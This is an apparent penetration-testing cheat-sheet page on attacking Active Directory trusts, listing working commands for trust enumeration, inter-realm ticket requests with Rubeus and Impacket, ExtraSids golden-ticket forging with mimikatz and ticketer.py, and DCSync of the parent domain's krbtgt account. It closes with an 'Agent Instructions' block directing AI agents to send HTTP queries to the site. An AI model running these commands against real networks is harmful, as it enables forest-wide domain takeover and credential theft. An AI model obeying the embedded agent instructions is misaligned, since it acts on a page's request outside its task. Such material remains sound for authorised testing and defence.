# Attack Trusts

> *"Note that the Active Directory domain is not the security boundary; the AD forest is."* (Sean Metcalf, [ref](https://adsecurity.org/?p=1640))

* <http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/>
* <http://www.harmj0y.net/blog/redteaming/domain-trusts-were-not-done-yet/>
* <http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/>
* <https://habr.com/ru/company/jetinfosystems/blog/466445/>
* <https://xakep.ru/2022/08/10/ad-forest-attack/>

## Theory

* <https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/>
* <https://github.com/snovvcrash/TrustVisualizer/blob/9dadd852b69b7882577c0ab6ac7f42f539d9c58a/TrustVisualizer.py#L48-L60>
* **Trust** 👉🏻 a link between the authentication systems of two domains.
* **Transitive** trust 👉🏻 the trust is extended to objects which the child domain trusts.
* **Non-transitive** trust 👉🏻 only the child domain itself is trusted.
* **Bidirectional** (two-way) trust 👉🏻 users from both trusting domains can access resources.
* **One-way** trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-versa (the direction of trust is opposite to the direction of access).

Some trust types:

| Trust Type               | Description                                                                                                                                                     |
| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Parent-child             | A trust between domains within the same forest. The child domain has a *bidirectional transitive* trust with the parent domain.                                 |
| Cross-link (shortcut)    | A trust between child domains (used to speed up authentication).                                                                                                |
| Tree-root (intra-forest) | A *bidirectional transitive* trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest. |
| Forest                   | A *transitive* trust between two forest root domains. Enforces SID filtering.                                                                                   |
| External (inter-forest)  | A *non-transitive* trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.                |

## Enumeration

Get forest object:

```
PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]
```

Get all domains in a fores:

```
PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]
```

Enum trusts for current domain via `nltest` and .NET:

```
Cmd > nltest /trusted_domains /v
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
```

Enum trusts via Win32 API and LDAP:

```
PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft

PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft
```

Build domain trust mapping:

```
PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft
```

Transitive trusts resolution:

```
$ python bloodyAD.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --host 192.168.1.11 get trusts --transitive-trust --dns 192.168.1.11
```

No authentication enumeration via MS-NRPC (Netlogon) with [https://github.com/sud0Ru/NauthNRPC](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/NauthNRPC/README.md):

```
$ python3 nauth.py -t 192.168.1.11
```

### Visualization (yEd)

* <http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/>
* <https://github.com/HarmJ0y/TrustVisualizer>
* <https://github.com/snovvcrash/TrustVisualizer>
* <https://www.yworks.com/products/yed>

```
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv
```

## Request a Foreign User TGT with Rubeus

Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.

Request TGT for that user in current domain:

```
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap
```

Request inter-realm TGT from current domain to the target domain:

```
beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap
```

Use inter-realm TGT to request a TGS in the target domain:

```
beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap
```

This [PR](https://github.com/fortra/impacket/pull/1431) helps to use such tickets with Impacket.

## Request an Inter-Realm TGT with Impacket

Request a TGT in current domain:

```
$ getTGT.py -aesKey <AES_KEY> megacorp.local/snovvcrash -dc-ip 192.168.1.11
```

Request an IR TGT for the foreign domain in current domain:

```
$ KRB5CCNAME=snovvcrash.ccache getST.py -spn 'krbtgt/MEGACORP.EXTERNAL' -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -debug
```

Request an ST in foreign domain:

```
$ KRB5CCNAME=snovvcrash_megacorp_external.ccache getST.py -spn 'ldap/DC01.MEGACORP.EXTERNAL' -k -no-pass megacorp.external/snovvcrash -dc-ip 192.168.1.22 -debug
```

## sIDHistory/ExtraSids Hopping

* <https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d>
* <https://www.thehacker.recipes/a-d/movement/trusts#forging-tickets>

Abusing Bidirectional ParentChild (`WITHIN_FOREST`) trust between **child.megacorp.local ⟷ megacorp.local**.

Check if SID filtering is enabled for a trust:

```
Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.
```

### Raise Child

* <http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/>
* <http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain>
* <https://github.com/fortra/impacket/blob/master/examples/raiseChild.py>

For creating a cross-trust golden ticket (Golden Ticket + ExtraSid) we'll need:

1. Child domain FQDN (`child.megacorp.local`);
2. Name of the child domain's DC machine account and its RID (`DC01$`, `1337`);
3. SID of the child domain (`S-1-5-21-4266912945-3985045794-2943778634`);
4. SID of the parent domain (`S-1-5-21-2284550090-1208917427-1204316795`);
5. Compomised krbtgt hash from the child domain (`00ff00ff00ff00ff00ff00ff00ff00ff`);
6. ???
7. PROFIT.

**1.** Child domain FQDN:

```
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
```

**2.** Name of the child domain's DC machine account and its RID:

{% tabs %}
{% tab title="Windows" %}

```
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-1337
```

{% endtab %}

{% tab title="Linux" %}

```
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local | grep SidTypeUser | grep -i DC01
1337: MEGACORP\DC01$ (SidTypeUser)
```

{% endtab %}
{% endtabs %}

**3.** SID of the child domain:

{% tabs %}
{% tab title="Windows" %}

```
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
```

{% endtab %}

{% tab title="Linux" %}

```
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 0 | grep 'Domain SID'
[*] Domain SID is: S-1-5-21-4266912945-3985045794-2943778634
```

{% endtab %}
{% endtabs %}

**4.** SID of the parent domain:

```
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502
```

Create cross-trust golden ticket:

{% tabs %}
{% tab title="Windows" %}

```
mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:1337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]
```

{% endtab %}

{% tab title="Linux" %}

```
$ ticketer.py -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 {-nthash <RC4_32> | -aesKey <AES_64> } [-groups 516] [-user-id 1337] [-duration 87600] -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01$'
```

{% endtab %}
{% endtabs %}

For DCSyncing we'll need only parent domain FQDN (`megacorp.local`):

```
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local
```

DCSync:

```
mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local
```

### Inter-Realm TGT Forging

Manually craft an IR TGT injecting a privileged SID (example for `WITHIN_FOREST` trust but can also be adopted for `TREAT_AS_EXTERNAL` [case](#attack-forest-trusts)):

```
$ ticketer.py -spn 'krbtgt/MEGACORP.LOCAL' -nthash <MEGACORP_LOCAL_TRUST_NTHASH> -domain child.megacorp.local -domain-sid <CHILD_MEGACORP_LOCAL_SID> -extra-sid <MEGACORP_LOCAL_SID>-516,S-1-5-9 [-groups 516] [-user-id <MEGACORP_LOCAL_DC01_RID>] 'DC01$'
```

Request an ST for DCSync:

```
$ KRB5CCNAME='DC01$.ccache' getST.py -spn 'CIFS/DC02.megacorp.local' -k -no-pass megacorp.local/'DC01$' -dc-ip 192.168.1.11 -debug
```

DCSync:

```
$ KRB5CCNAME='DC01$_CIFS_DC02.ccache' secretsdump.py -k -no-pass DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -debug
```

## UnD + PrinterBug

* <https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/>
* <https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1>
* <https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#breaking-forest-trusts>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Spoolsample.ps1>
* <https://github.com/BlackDiverX/WinTools/blob/master/SpoolSample-Printerbug/SpoolSample.exe>

{% content-ref url="kerberos/delegation-abuse/kud" %}
[kud](https://ppn.snovvcra.sh/pentest/infrastructure/ad/kerberos/delegation-abuse/kud)
{% endcontent-ref %}

Can be abused either if **CVE-2019-0683** is not fixed or if `EnableTGTDelegation` is enabled for the trusted forest:

```
Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes
```

## Attack Forest Trusts

* <https://mayfly277.github.io/posts/GOADv2-pwning-part12/>
* <https://exploit.ph/external-trusts-are-evil.html>

List foreign users and users from foreign groups:

```
PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignUser [-Domain megacorp.local]

PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]

PV > Convert-SidToName ...
```

List user accounts from a target domain with SPNs set for [Kerberoasting](https://ppn.snovvcra.sh/pentest/infrastructure/kerberos/roasting#kerberoasting):

```
PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select samAccountName,memberOf,servicePrincipalName | fl
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,memberOf,servicePrincipalName -Filter '(!(samAccountName=krbtgt))'
```

If SID history is enabled (e. g., if domain is on its migration period, `netdom trust b.net /d:a.net /enablesidhistory:yes`) then the forest trust is treated as *external*.

We can try to locate non-default (with RID greater than 1000) admin account:

```
PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net
PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net
```

If such an account is a member of a domain local security group (not a global group like `Enterprise Admins` or `Domain Admins`) and allows us to compromise a user or a computer in the target domain, we can create a cross-trust golden ticket for her the same way as described [above](#sidhistory-extrasids-hopping).

### CVE-2020-0665

* <https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/>
* <https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/>
* <https://github.com/dirkjanm/forest-trust-tools>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/attack-trusts.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
